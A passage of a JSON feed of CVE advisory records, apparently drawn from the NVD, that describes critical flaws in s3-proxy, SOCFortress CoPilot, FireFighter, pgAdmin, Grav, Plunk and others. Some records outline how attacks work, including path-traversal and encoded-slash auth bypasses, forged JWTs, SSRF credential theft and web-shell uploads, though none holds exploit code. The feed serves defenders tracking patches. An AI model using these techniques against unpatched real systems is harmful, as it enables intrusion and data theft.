mismatch, combined with the glob library being invoked without a path separator (causing * to match across / boundaries), allows unauthenticated attackers to write to, read from, or delete objects in protected S3 namespaces. Exploitation is possible via three techniques: (1) using * patterns\nthat match across path separators to reach protected routes via path traversal (e.g., /open/foo/drafts/../restricted/), (2) using percent-encoded slashes (%2F) to collapse multiple path segments into a single token at the auth layer while the decoded form resolves to a protected namespace at the storage layer, and (3) using dot-dot segments (../) under ** prefix patterns, where the raw path matches an open route while Go's URL parser resolves the traversal to a protected path before the bucket handler runs. An unauthenticated attacker with network access can perform unauthorized PUT, GET, or DELETE operations on objects in authentication-protected S3 namespaces. This vulnerability is fixed in 5.0.0.","detail":"oxyno-zeta/s3-proxy is an aws s3 proxy written in go. Prior to 5.0.0, s3-proxy contains an authentication bypass caused by inconsistent URL path interpretation between the authentication middleware and the bucket handler. The authentication middleware evaluates resource path patterns against the percent-encoded request URI (r.URL.RequestURI()), while the bucket handler constructs S3 object keys from the decoded path (r.URL.Path). This mismatch, combined with the glob library being invoked without a path separator (causing * to match across / boundaries), allows unauthenticated attackers to write to, read from, or delete objects in protected S3 namespaces. Exploitation is possible via three techniques: (1) using * patterns\nthat match across path separators to reach protected routes via path traversal (e.g., /open/foo/drafts/../restricted/), (2) using percent-encoded slashes (%2F) to collapse multiple path segments into a single token at the auth layer while the decoded form resolves to a protected namespace at the storage layer, and (3) using dot-dot segments (../) under ** prefix patterns, where the raw path matches an open route while Go's URL parser resolves the traversal to a protected path before the bucket handler runs. An unauthenticated attacker with network access can perform unauthorized PUT, GET, or DELETE operations on objects in authentication-protected S3 namespaces. This vulnerability is fixed in 5.0.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T20:25:44.450Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42882","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42882","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42882","type":"primary","publishedAt":"2026-05-11T20:25:44.450Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42869","cveId":"CVE-2026-42869","aliases":[],"kind":"vulnerability","title":"SOCFortress CoPilot focuses on providing a single pane of glass for all your security operations needs.","summary":"SOCFortress CoPilot focuses on providing a single pane of glass for all your security operations needs. Prior to 0.1.57, SOCFortress CoPilot ships a hardcoded JWT signing secret as a fallback value in backend/app/auth/utils.py:28 and ships it verbatim in .env.example. Any deployment where JWT_SECRET is not explicitly set — including the default Docker Compose setup — signs all authentication tokens with this publicly known value. An unauthenticated attacker can forge arbitrary admin-scoped JWTs and gain full control of the application and every security tool it manages without any credentials. This vulnerability is fixed in 0.1.57.","detail":"SOCFortress CoPilot focuses on providing a single pane of glass for all your security operations needs. Prior to 0.1.57, SOCFortress CoPilot ships a hardcoded JWT signing secret as a fallback value in backend/app/auth/utils.py:28 and ships it verbatim in .env.example. Any deployment where JWT_SECRET is not explicitly set — including the default Docker Compose setup — signs all authentication tokens with this publicly known value. An unauthenticated attacker can forge arbitrary admin-scoped JWTs and gain full control of the application and every security tool it manages without any credentials. This vulnerability is fixed in 0.1.57.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T20:25:43.347Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":["AI coding agents"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42869","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42869","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42869","type":"primary","publishedAt":"2026-05-11T20:25:43.347Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42864","cveId":"CVE-2026-42864","aliases":[],"kind":"vulnerability","title":"FireFighter is an incident management application.","summary":"FireFighter is an incident management application. Prior to 0.0.54, the POST /api/v2/firefighter/raid/jira_bot endpoint (CreateJiraBotView) is reachable without authentication (permission_classes = [permissions.AllowAny]). Its attachments payload is fetched server-side via httpx.get() with no URL validation, then uploaded as an attachment on the Jira ticket that gets created. An unauthenticated caller able to reach the ingress can coerce the pod into fetching arbitrary URLs and exfiltrate the response as a Jira attachment. On EC2/EKS deployments that do not enforce IMDSv2, this allows theft of the temporary AWS credentials attached to the pod's IAM role. The docstring on the view claims a Bearer token is required, but the code does not enforce it. This vulnerability is fixed in 0.0.54.","detail":"FireFighter is an incident management application. Prior to 0.0.54, the POST /api/v2/firefighter/raid/jira_bot endpoint (CreateJiraBotView) is reachable without authentication (permission_classes = [permissions.AllowAny]). Its attachments payload is fetched server-side via httpx.get() with no URL validation, then uploaded as an attachment on the Jira ticket that gets created. An unauthenticated caller able to reach the ingress can coerce the pod into fetching arbitrary URLs and exfiltrate the response as a Jira attachment. On EC2/EKS deployments that do not enforce IMDSv2, this allows theft of the temporary AWS credentials attached to the pod's IAM role. The docstring on the view claims a Bearer token is required, but the code does not enforce it. This vulnerability is fixed in 0.0.54.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T19:16:24.417Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42864","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42864","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42864","type":"primary","publishedAt":"2026-05-11T19:16:24.417Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7813","cveId":"CVE-2026-7813","aliases":[],"kind":"vulnerability","title":"Authorization vulnerability in pgAdmin 4 server mode affecting Server Groups, Servers, Shared Servers, Background Processes, and Debugger modules.","summary":"Authorization vulnerability in pgAdmin 4 server mode affecting Server Groups, Servers, Shared Servers, Background Processes, and Debugger modules.\n\nMultiple endpoints fetched user-owned objects without filtering by the requesting user's identity. An authenticated user could access another user's private servers, server groups, background processes, and debugger function arguments by guessing object IDs.\n\nAdditionally, the Shared Servers feature contained multiple issues including credential leakage (passexec_cmd, passfile, SSL keys), privilege escalation via writable passexec_cmd (a shell command executed when establishing the connection) allowing arbitrary command execution in the owner's process context, and owner-data corruption via SQLAlchemy session mutations. Several owner-only fields (passexec_cmd, passexec_expiration, db_res, db_res_type) were writable by non-owners through the API, and additional fields (kerberos_conn, tags, post_connection_sql) lacked per-user persistence so non-owner edits mutated the owner's record.\n\nFix centralises access control via a new server_access module, scopes all user-owned models with a UserScopedMixin, returns HTTP 410 from connection_manager when access is denied in server mode, suppresses owner-only fields for non-owners across the merge / API response / ServerManager paths, and adds an explicit owner-only write guard. The remediation landed in two pull requests; both are referenced.\n\nThis issue affects pgAdmin 4: before 9.15.","detail":"Authorization vulnerability in pgAdmin 4 server mode affecting Server Groups, Servers, Shared Servers, Background Processes, and Debugger modules.\n\nMultiple endpoints fetched user-owned objects without filtering by the requesting user's identity. An authenticated user could access another user's private servers, server groups, background processes, and debugger function arguments by guessing object IDs.\n\nAdditionally, the Shared Servers feature contained multiple issues including credential leakage (passexec_cmd, passfile, SSL keys), privilege escalation via writable passexec_cmd (a shell command executed when establishing the connection) allowing arbitrary command execution in the owner's process context, and owner-data corruption via SQLAlchemy session mutations. Several owner-only fields (passexec_cmd, passexec_expiration, db_res, db_res_type) were writable by non-owners through the API, and additional fields (kerberos_conn, tags, post_connection_sql) lacked per-user persistence so non-owner edits mutated the owner's record.\n\nFix centralises access control via a new server_access module, scopes all user-owned models with a UserScopedMixin, returns HTTP 410 from connection_manager when access is denied in server mode, suppresses owner-only fields for non-owners across the merge / API response / ServerManager paths, and adds an explicit owner-only write guard. The remediation landed in two pull requests; both are referenced.\n\nThis issue affects pgAdmin 4: before 9.15.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T16:17:37.470Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"pgadmin","product":"pgadmin 4","stacks":["Pgadmin","pgadmin 4"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7813","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7813","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7813","type":"primary","publishedAt":"2026-05-11T16:17:37.470Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42613","cveId":"CVE-2026-42613","aliases":[],"kind":"vulnerability","title":"Grav is a file-based Web platform.","summary":"Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2.","detail":"Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T16:17:34.497Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42613","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42613","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42613","type":"primary","publishedAt":"2026-05-11T16:17:34.497Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42607","cveId":"CVE-2026-42607","aliases":[],"kind":"vulnerability","title":"Grav is a file-based Web platform.","summary":"Grav is a file-based Web platform. Prior to 2.0.0-beta.2, an authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the \"Direct Install\" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server. This vulnerability is fixed in 2.0.0-beta.2.","detail":"Grav is a file-based Web platform. Prior to 2.0.0-beta.2, an authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the \"Direct Install\" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server. This vulnerability is fixed in 2.0.0-beta.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T16:17:32.720Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42607","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42607","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42607","type":"primary","publishedAt":"2026-05-11T16:17:32.720Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42193","cveId":"CVE-2026-42193","aliases":[],"kind":"vulnerability","title":"Plunk is an open-source email platform built on top of AWS SES.","summary":"Plunk is an open-source email platform built on top of AWS SES. Prior to version 0.9.0, the /webhooks/sns endpoint accepts Amazon SNS notification payloads from unauthenticated requests without verifying the SNS signature, certificate, or topic ARN, meaning anyone can forge a valid-looking webhook request. This allows an unauthenticated attacker to spoof SNS events to trigger workflow automations, unsubscribe contacts, manipulate email delivery metrics, and potentially exhaust billing credits. This issue has been patched in version 0.9.0.","detail":"Plunk is an open-source email platform built on top of AWS SES. Prior to version 0.9.0, the /webhooks/sns endpoint accepts Amazon SNS notification payloads from unauthenticated requests without verifying the SNS signature, certificate, or topic ARN, meaning anyone can forge a valid-looking webhook request. This allows an unauthenticated attacker to spoof SNS events to trigger workflow automations, unsubscribe contacts, manipulate email delivery metrics, and potentially exhaust billing credits. This issue has been patched in version 0.9.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T22:16:31.273Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42193","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42193","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42193","type":"primary","publishedAt":"2026-05-08T22:16:31.273Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42160","cveId":"CVE-2026-42160","aliases":[],"kind":"vulnerability","title":"Data Space Portal is an open-source Software as a Service (SaaS) solution designed to streamline Dataspace management.","summary":"Data Space Portal is an open-source Software as a Service (SaaS) solution designed to streamline Dataspace management. From version 2.1.1 to before version 7.3.2, there is insufficient authorization in the dataspace-portal backend regarding self-registered \"PENDING\" organization / user accounts. This issue has been patched in version 7.3.2.","detail":"Data Space Portal is an open-source Software as a Service (SaaS) solution designed to streamline Dataspace management. From version 2.1.1 to before version 7.3.2, there is insufficient authorization in the dataspace-portal backend regarding self-registered \"PENDING\" organization / user accounts. This issue has been patched in version 7.3.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T20:16:30.743Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42160","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42160","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42160","type":"primary","publishedAt":"2026-05-08T20:16:30.743Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8178","cveId":"CVE-2026-8178","aliases":[],"kind":"vulnerability","title":"An issue exists in Amazon Redshift JDBC Driver versions prior to 2.2.2.","summary":"An issue exists in Amazon Redshift JDBC Driver versions prior to 2.2.2. Under certain conditions, the driver could load and execute arbitrary classes when processing JDBC connection URL parameters. An actor who can influence the connection URL could potentially execute code in the application context, provided a suitable class is available on the application's classpath.\n\n\n\nTo mitigate this issue, users should upgrade to version 2.2.2 or later.","detail":"An issue exists in Amazon Redshift JDBC Driver versions prior to 2.2.2. Under certain conditions, the driver could load and execute arbitrary classes when processing JDBC connection URL parameters. An actor who can influence the connection URL could potentially execute code in the application context, provided a suitable class is available on the application's classpath.\n\n\n\nTo mitigate this issue, users should upgrade to version 2.2.2 or later.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T19:16:31.827Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8178","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8178","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8178","type":"primary","publishedAt":"2026-05-08T19:16:31.827Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42072","cveId":"CVE-2026-42072","aliases":[],"kind":"vulnerability","title":"Nornicdb is a distributed low-latency, Graph+Vector, Temporal MVCC with all sub-ms HNSW search, graph traversal, and writes.","summary":"Nornicdb is a distributed low-latency, Graph+Vector, Temporal MVCC with all sub-ms HNSW search, graph traversal, and writes. Prior to version 1.0.42-hotfix, the --address CLI flag (and NORNICDB_ADDRESS / server.host config key) is plumbed through to the HTTP server correctly but never reaches the Bolt server config. The Bolt listener therefore always binds to the wildcard address (all interfaces), regardless of what the user configures. On a LAN, this exposes the graph database — with its default admin:password credentials — to any device sharing the network. This issue has been patched in version 1.0.42-hotfix.","detail":"Nornicdb is a distributed low-latency, Graph+Vector, Temporal MVCC with all sub-ms HNSW search, graph traversal, and writes. Prior to version 1.0.42-hotfix, the --address CLI flag (and NORNICDB_ADDRESS / server.host config key) is plumbed through to the HTTP server correctly but never reaches the Bolt server config. The Bolt listener therefore always binds to the wildcard address (all interfaces), regardless of what the user configures. On a LAN, this exposes the graph database — with its default admin:password credentials — to any device sharing the network. This issue has been patched in version 1.0.42-hotfix.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T17:16:31.447Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42072","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42072","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42072","type":"primary","publishedAt":"2026-05-08T17:16:31.447Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41070","cveId":"CVE-2026-41070","aliases":[],"kind":"vulnerability","title":"openvpn-auth-oauth2 is a plugin/management interface client for OpenVPN server to handle an OIDC based single sign-on (SSO) auth flows.","summary":"openvpn-auth-oauth2 is a plugin/management interface client for OpenVPN server to handle an OIDC based single sign-on (SSO) auth flows. From version 1.26.3 to before version 1.27.3, when openvpn-auth-oauth2 is deployed in the experimental plugin mode (shared library loaded by OpenVPN via the plugin directive), clients that do not support WebAuth/SSO (e.g., the openvpn CLI on Linux) are incorrectly admitted to the VPN despite being denied by the authentication logic. The default management-interface mode is not affected because it does not use the OpenVPN plugin return-code mechanism. This issue has been patched in version 1.27.3.","detail":"openvpn-auth-oauth2 is a plugin/management interface client for OpenVPN server to handle an OIDC based single sign-on (SSO) auth flows. From version 1.26.3 to before version 1.27.3, when openvpn-auth-oauth2 is deployed in the experimental plugin mode (shared library loaded by OpenVPN via the plugin directive), clients that do not support WebAuth/SSO (e.g., the openvpn CLI on Linux) are incorrectly admitted to the VPN despite being denied by the authentication logic. The default management-interface mode is not affected because it does not use the OpenVPN plugin return-code mechanism. This issue has been patched in version 1.27.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T16:16:11.030Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41070","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41070","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41070","type":"primary","publishedAt":"2026-05-08T16:16:11.030Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44128","cveId":"CVE-2026-44128","aliases":[],"kind":"vulnerability","title":"SEPPmail Secure Email Gateway before version 15.0.2.1 allows unauthenticated remote code execution in the new GINA UI because an endpoint passes attacker-controlled input from a...","summary":"SEPPmail Secure Email Gateway before 